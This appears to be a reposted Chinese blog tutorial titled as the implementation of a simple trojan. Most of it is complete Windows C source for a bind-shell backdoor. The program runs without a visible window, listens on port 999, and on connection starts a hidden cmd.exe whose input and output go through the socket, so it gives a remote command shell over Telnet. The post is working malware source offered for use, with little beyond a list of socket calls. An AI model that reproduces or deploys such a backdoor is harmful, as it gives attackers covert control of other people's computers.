一个简单木马程序的实现

实现一个简单的木马,一般须要client和服务端。为了便于实现,就用Windows自带的Telnet软件远程连接,服务端通过监听某个port提供服务。类似于Telnet服务的后台程序。其服务端编程的基本原理例如以下:

1)打开一通信通道(绑定某个port)并告知本地主机,它在某一个地址上接收客户请求。

利用Socket和bind函数实现。

2)等待客户请求到达该port。利用listen函数实现。

3)接收到反复服务请求,处理该请求并发送应答信号。

利用accept函数实现。

4)返回第二步,接收还有一客户请求。

5)关闭连接。

利用closesock函数实现。

使用到的函数顺序例如以下:

socket()—>bind()—>listen—>accept()—>closesock()

实现代码例如以下:

#pragma comment(lib,"ws2_32.lib")
#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")
#include <winsock2.h>
#include <windows.h>
#define MasterPort 999 //定义监听port

int main()
{
	WSADATA WSADa;
	sockaddr_in SockAddrin;
	SOCKET CSocket, SSocket;
	int AddrSize;
	PROCESS_INFORMATION Processinfo;
	STARTUPINFO Startupinfo;
	char szCMDPath[255];

	//配内存资源,初始化数据
	ZeroMemory(&Processinfo, sizeof(PROCESS_INFORMATION));
	ZeroMemory(&Startupinfo, sizeof(STARTUPINFO));
	ZeroMemory(&WSADa, sizeof(WSADATA));

	//获取CMD路径
	GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));

	//载入ws2_32.dll
	WSAStartup(0x202,&WSADa);

	//设置本地信息和绑定协议,建立socket
	SockAddrin.sin_family = AF_INET;
	SockAddrin.sin_addr.s_addr = INADDR_ANY;
	SockAddrin.sin_port = htons(MasterPort);
	CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

	//设置绑定断port999
	bind(CSocket,(sockaddr*)&SockAddrin, sizeof(SockAddrin));

	//设置server监听port
	listen(CSocket, 1);
	AddrSize = sizeof(SockAddrin);

	//開始连接远程server。并配置隐藏窗体结构体
	SSocket = accept(CSocket, (sockaddr*)&SockAddrin, &AddrSize);
	Startupinfo.cb = sizeof(STARTUPINFO);
	Startupinfo.wShowWindow = SW_HIDE;
	Startupinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	Startupinfo.hStdInput = (HANDLE)SSocket;
	Startupinfo.hStdOutput = (HANDLE)SSocket;
	Startupinfo.hStdError = (HANDLE)SSocket;

	//创建匿名管道
	CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &Startupinfo, &Processinfo);
	WaitForSingleObject(Processinfo.hProcess, INFINITE);
	CloseHandle(Processinfo.hProcess);
	CloseHandle(Processinfo.hThread);

	//关闭进程句柄
	closesocket(CSocket);
	closesocket(SSocket);
	WSACleanup();

	return 0;

}


原文地址:https://www.cnblogs.com/zfyouxi/p/5392154.html